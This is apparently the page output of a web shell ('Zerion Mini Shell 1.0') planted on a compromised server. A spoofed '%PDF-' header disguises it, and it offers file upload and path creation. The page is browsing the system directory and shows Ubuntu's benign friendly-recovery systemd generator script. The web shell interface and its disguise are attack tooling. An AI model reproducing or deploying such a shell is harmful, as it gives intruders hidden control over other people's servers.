%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/lib/systemd/system-generators/
Upload File :
Create Path :
Current File : //proc/self/root/lib/systemd/system-generators/friendly-recovery

#!/bin/sh
set -e
[ ! -e /run/friendly_recovery.resume ]
normaldir=$1
earlydir=$2
latedir=$3
set -- $(cat /proc/cmdline)
for cmdline_arg in "$@"; do
	if [ "$cmdline_arg" = "recovery" ]
	then
		ln -sf /lib/systemd/system/friendly-recovery.target $earlydir/default.target
		break
	fi
done

Zerion Mini Shell 1.0